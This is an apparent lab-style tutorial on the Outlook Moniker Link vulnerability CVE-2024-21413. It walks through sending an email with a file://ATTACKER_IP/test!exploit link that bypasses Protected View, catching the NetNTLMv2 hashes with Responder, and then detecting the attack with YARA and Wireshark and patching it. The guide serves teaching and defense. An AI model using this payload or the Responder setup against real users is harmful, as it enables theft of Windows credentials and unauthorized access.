CVE-2024-21413: Microsoft Outlook Moniker Link

Complete Guide to RCE & Credential Leak Vulnerability

What Happened?

On February 13th, 2024, Microsoft dropped a bombshell: a critical vulnerability in Microsoft Outlook that could allow attackers to steal your Windows credentials with just a single click. No attachment download required. No macros. Just click a link in an email, and boom-your authentication credentials are sent straight to the attacker.

This vulnerability, discovered by **Haifei Li from Check Point Research**, was assigned **CVE-2024-21413** and nicknamed **"Moniker Link"**.

Vulnerability Details

CVSS Metric	Description
Publish Date	February 13th, 2024
Impact	Remote Code Execution & Credential Leak
Severity	**CRITICAL**
Attack Complexity	Low (very easy to exploit!)
CVSS Score	**9.8 / 10**

Who's Affected?

This vulnerability affects virtually ALL modern Microsoft Office installations:

- Microsoft Office 2016
- Microsoft Office 2019
- Microsoft Office LTSC 2021
- Microsoft 365 Apps for Enterprise

Translation: If you use Outlook at work or home and haven't patched since February 2024, you're vulnerable!

What You'll Learn

✓ How the vulnerability actually works (the technical magic)

✓ What Outlook's 'Protected View' is and why it failed

✓ How attackers exploit this to steal credentials

✓ Hands-on exploitation using Python

✓ Detection methods (YARA rules, Wireshark)

✓ Mitigation and prevention strategies

Understanding the Attack: How It Works

Let's break this down step by step, starting with some background knowledge.

Background: Outlook Can Render HTML

Outlook isn't just a plain text email client. It can render beautiful HTML emails-think of your favorite newsletters with images, formatted text, and clickable buttons. This includes supporting hyperlinks like:

`http://example.com` - Regular web links

`https://secure.com` - Secure web links

`mailto:someone@email.com` - Email links

But Outlook also supports something called Moniker Links-special URLs that can trigger external applications.

What Are Moniker Links?

Moniker Links are special hyperlinks that tell Windows to open files or applications. The most common one you'll see is the `file://` protocol.

Example of a normal file:// link:

```
<a href="file://192.168.1.100/test">Click me</a>
```

This tells Outlook: 'Try to open a file called "test" from the computer at 192.168.1.100'

The Problem: When Windows tries to access a file on another computer, it uses the **SMB protocol** (Server Message Block). SMB automatically sends your Windows username and password hash for authentication!

Outlook's 'Protected View' Defense

Microsoft knows this is dangerous, so they built 'Protected View' into Outlook. Think of it as a security guard that:

- Opens suspicious emails in read-only mode
- Blocks macros from running automatically
- Shows security warnings when you click external links
- Prevents file:// links from executing

Normally, if you click a file:// link, you'd see a popup warning:

"⚠ This link may be unsafe. Do you want to continue?"

This is Protected View doing its job!

The Bypass: The Magic Exclamation Mark (!)

Here's where it gets interesting. Researchers discovered that by adding a simple exclamation mark (!) and some text to the file:// link, they could completely bypass Protected View!

Normal link (BLOCKED by Protected View):

```
<a href="file://192.168.1.100/test">Click me</a>
```

Result: Security warning appears ✓

Malicious link (BYPASSES Protected View):

```
<a href="file://192.168.1.100/test!exploit">Click me</a>
```

Result: NO WARNING! Direct execution! ✗

That tiny `!exploit` addition completely breaks Outlook's security!

What Happens When You Click?

Let's walk through the attack step by step:

Step 1: Attacker sends you an email with the malicious link

The email looks normal-maybe it says 'Click here to view your invoice' or 'Important document attached'

Step 2: You click the link

No warning appears! Protected View is bypassed.

Step 3: Outlook attempts to access the 'file' on the attacker's machine

Windows uses SMB protocol to connect

Step 4: Windows automatically sends your credentials

Your **NetNTLMv2 hash** (password hash) is transmitted to the attacker

Step 5: Attacker captures your hash

They can now crack it offline or use it in pass-the-hash attacks!

Important Note: The file doesn't even need to exist! Windows will still attempt authentication and send your credentials.

Hands-On: Exploiting CVE-2024-21413

Let's walk through a real exploitation scenario. We'll send a malicious email and capture the victim's credentials.

The Attack Setup

You'll need:

- Attacker machine (Kali Linux / AttackBox)
- Victim machine (Windows with Outlook)
- Responder tool (to capture credentials)
- Python 3 (to send the malicious email)

Step 1: Start Responder (Credential Catcher)

Responder is a tool that creates a fake SMB server. When the victim's machine tries to connect, Responder captures their credentials.

On your attacking machine, run:

```
responder -I ens5
```

(Replace ens5 with your network interface name-use 'ip a' to find it)

You'll see output like:

```
NBT-NS, LLMNR & MDNS Responder 3.1.1.0 [+] Listening for events...
```

Great! Responder is now waiting to catch credentials. Leave this running!

Step 2: Create the Malicious Email Script

We'll use Python to send an email containing our malicious Moniker Link. Create a file called exploit.py:

```
nano exploit.py
```

Key parts of the script explained:

1. Email Credentials

```
sender_email = 'attacker@monikerlink.thm' receiver_email =
'victim@monikerlink.thm'
```

2. The Malicious HTML

```
html_content = """ <p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>
"""
```

This is the magic! Replace ATTACKER_IP with your attacking machine's IP address.

3. SMTP Server Configuration

```
server = smtplib.SMTP('MAILSERVER', 25)
```

Replace MAILSERVER with your mail server's IP address

Step 3: Customize and Run the Script

Before running, make two critical changes:

Change 1: Update ATTACKER_IP in the HTML to your actual IP

```
file://10.10.14.5/test!exploit
```

Change 2: Update MAILSERVER to your mail server IP

```
server = smtplib.SMTP('10.65.157.155', 25)
```

Now run it:

```
python3 exploit.py
```

Enter password when prompted: attacker

If successful, you'll see:

```
Email delivered
```

Step 4: Victim Opens the Email

On the victim's machine:

1. Open Outlook
2. The malicious email appears in inbox
3. Victim clicks 'Click me' link
4. NO security warning appears!

Behind the scenes:

- Outlook attempts to access file://ATTACKER_IP/test!exploit
- Windows initiates SMB connection
- NetNTLMv2 credentials automatically transmitted

Step 5: Capture the Credentials!

Return to your Responder terminal. You'll see:

```
[SMB] NTLMv2-SSP Client   : 10.10.10.40 [SMB] NTLMv2-SSP Username : VICTIM\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::VICTIM:1122334455667788:...
```

SUCCESS! You've captured the victim's NetNTLMv2 password hash!

This hash can now be:

- Cracked offline using hashcat or John the Ripper
- Used in pass-the-hash attacks for lateral movement
- Replayed to authenticate as the user

Detection: How to Catch This Attack

Method 1: YARA Rules

Security researcher **Florian Roth** created a YARA rule to detect malicious Moniker Link emails.

What it looks for:

- Emails containing 'Subject:' and 'Received:' headers
- file:// links with the special pattern
- The critical exclamation mark (!) in the path
- Common file extensions (.docx, .pdf, .exe, etc.)

The YARA rule pattern:

```
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|...)!/
```

This detects the file:\ pattern followed by the suspicious exclamation mark.

Method 2: Wireshark Network Analysis

You can spot this attack in network traffic by looking for:

- SMB connections to unusual external IPs
- NetNTLMv2 authentication attempts
- Truncated password hashes in SMB packets

Filter in Wireshark:

```
smb2 && ntlmssp
```

Look for NTLMSSP_AUTH packets containing the victim's credentials being sent to external IPs.

Mitigation and Prevention

1. PATCH IMMEDIATELY!

Microsoft released patches in February 2024 'Patch Tuesday'. This is the ONLY complete fix for the vulnerability.

How to patch:

- Windows Update → Check for updates
- Microsoft Update Catalog (for enterprise deployments)
- WSUS/SCCM for large organizations

Verify your Office build is updated past the vulnerable versions listed in the beginning of this guide.

2. User Education

Even with patches, good security practices matter:

⚠ Never click links in unsolicited emails

⚠ Hover over links to preview the URL before clicking

⚠ Forward suspicious emails to your security team

⚠ Be wary of 'urgent' or 'time-sensitive' emails

3. Network-Level Controls

- Block outbound SMB at the firewall (ports 445, 139)
- Implement email filtering to detect file:// links
- Monitor for unusual external SMB connections
- Deploy YARA rules in email gateways

Note: Blocking SMB entirely may break legitimate network shares. Work with IT before implementing!

Why This Vulnerability is So Dangerous

1. No user warnings - Bypasses Outlook's built-in security completely

2. Simple to exploit - Just needs an email and one click

3. Wide impact - Affects all modern Office versions

4. Credentials leaked automatically - Windows sends credentials without asking

5. File doesn't need to exist - Attack works even if the 'file' is fake

Key Takeaways

✓ CVE-2024-21413 scores 9.8/10 - CRITICAL severity

✓ A simple exclamation mark (!) bypasses Outlook's Protected View

✓ Clicking a malicious link automatically sends NetNTLMv2 credentials

✓ Attack requires only an email and one click - no attachments needed

✓ Detection possible via YARA rules and Wireshark analysis

✓ Patching is the ONLY complete mitigation

✓ User education remains critical defense layer

Final Thoughts

CVE-2024-21413 demonstrates how a tiny oversight-failing to properly validate a special character-can create catastrophic security vulnerabilities. The simplicity of the exploit (literally just adding !exploit to a URL) combined with its severe impact (credential theft, RCE) makes this a perfect storm.

This vulnerability highlights why:

- Regular patching is non-negotiable
- Security defaults must be secure
- User education alone is insufficient
- Defense in depth matters

Remember: This vulnerability is actively being exploited in the wild. If you manage Outlook installations, patch immediately. If you use Outlook, think twice before clicking any links-even from trusted sources.

Stay safe, stay patched, and always verify before you click! 🔒